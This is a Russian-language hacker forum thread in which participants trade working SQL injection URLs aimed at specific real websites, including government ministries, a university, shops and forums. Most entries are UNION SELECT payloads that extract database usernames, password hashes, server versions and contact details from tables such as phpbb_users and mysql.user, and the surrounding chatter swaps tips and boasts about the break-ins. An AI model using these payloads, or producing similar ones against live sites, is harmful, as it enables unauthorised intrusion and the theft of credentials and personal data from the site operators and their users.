SQL Инъекции

Code:

http://www.franko-theatre.kiev.ua/show.php?id=75'+union+select+1,convert(concat(user(),0x3a,version(),0x3a,database())+using+cp1251)/*

 

Code:

http://kamazmaster.iww.ru/shop/index.php?productID=1'

Купи КамАЗ

 

Code:

http://shop.drengo.it/shopping/index.php?id=-854370+union+select+1,AES_DECRYPT(AES_ENCRYPT(concat(username,0x3a,password),0x71),0x71),3,4,5,6,7,8,9,10,11+from+users/*

все внизу

 

Симпатишная

Code:

http://www.winfors.uni-koeln.de/people/main.html?ID=1+union+select+1,concat(user,char(58),password),3,4,5,6,7,8,concat_ws(char(58),user(),version(),database())+from+mysql.user/*

2Joker-jar раскрученные выкладываем скули!

 

Это я не мог ни поковырять

Вывод - Просмотр HTML кода => ctrl+f "hidden name=categoryID value="

 

Code:

http://www.admpokachi.ru/resourse.php?news_id=-1+union+select+concat(username,char(58),user_password),2,3,4+from+phpbb_users+limit+1,1/*

Code:

http://www.talka.ru/price/?id=-1+union+select+1,2,3,concat(username,char(58),user_password),5,6,7,8,9,10,11+from+phpbb_users+limit+1,1/*

 

maed.gov.mr

Code:

http://www.maed.gov.mr/detailevent.php?id=-113%20UNION%20SELECT%201,2,3,concat(user,0x3a,password),5,6+from+mysql.user/*

пасс чегото не выводится=\

 

Может и было...

Code:

http://www.rozenbaum.ru/music/index.php?type=2&id=25&id2=-1+union+select+1,2,3,4,5,concat(database(),char(58),user(),char(58),version()),7,8,9/*
http://www.rozenbaum.ru/music/index.php?type=2&id=25&id2=-1+union+select+1,2,3,4,5,concat(username,char(58),user_password),7,8,9+from+forum.phpbb_users+limit+1,1/*

 

Было..
Из этой скули можно "извлечь всё, что только можно"

 

Code:

http://soft.dndz.dp.ua/program.php?id=-459+union+select+1,2,3,table_name,5,6,7,8,9,10,11,12,13,14,15+from+information_schema.tables+limit+14,19/*

 

Code:

http://www.uoasn.ca/pages/en/news.php?aid=-8+union+select+concat(user(),0x3a,version()),concat(id,0x3a,username,0x3a,password,0x3a,email),3+from+web_users/*

 

menr.gov.ua

Министерство Экологии Украины

препод падла, зачет не поставил =(

Code:

http://menr.gov.ua/index.php?menu_id=-1+union+select+1,2,concat(l0gin,char(58),рassword),4,5,6,7,8,9,1о+from+user/*

 

Code:

http://www.piiter.ru/authors.php?aid=107&pid=-1+union+select+1,2,3,concat(database(),char(58),user(),char(58),version()),5,6,7,8,9,10,11,12,13,14,15,16/*

Code:

http://www.restoran.ua/index.phtml?t=1&pid=-1+union+select+111,222,3,4,5,6/*

Вывод в titel'е:

Code:

http://www.foodbiz.ru/categories.php?folder=-1+union+select+1,concat(version(),char(58),user(),char(58),version()),3,4,5,6,7,8,9,10/*

 

http://www.interatr.org/rus/inner.php?menu_id=-13+union+select+version()/*&id=80

 

Плохо получается искать сайты для теста

 

Code:

http://www.spec.bc.ca/news/news.php?newsID=-213+union+select+1,user(),3,database(),5,6,version()/*
http://www.spec.bc.ca/news/news.php?newsID=-213+union+select+1,table_name,3,column_name,5,6,7+from+information_schema.columns/*
http://www.spec.bc.ca/news/news.php?newsID=-213+union+select+1,contact_name,3,contact_email,5,6,contact_phone+from+calendar_event/*

 

Code:

http://www.foodforfun.ru/self.php?id=-1+union+select+1,2,3/*

ы.. пусто.

Code:

http://bdsm-howto.ru/modules/zmagazine/article.php?articleid=1+and+1=-1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29/*

выводка в title

мб кто дальше додумает, подкину репки +)

 

Code:

http://aei-brookings.org/events/page.php?id=-152+union+select+1,2,3/*

Code:

http://kava.lviv.ua/event/index.php?id=-1229+union+select+1,2,3/*

 

Code:

http://bdsm-howto.ru/modules/zmagazine/article.php?articleid=1+and+1=-1+union+select+1,2,3,concat(uname,char(58),pass),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29+from+xoops_users/*

держи

 

http://www.iwdp.co.uk/profile.php?id=-1+union+select+1,,3,4,null,6,7,8,9,10,11+from+urls

там маджик куотес и вроде все поля строковые так что ничего поиметь неполучилось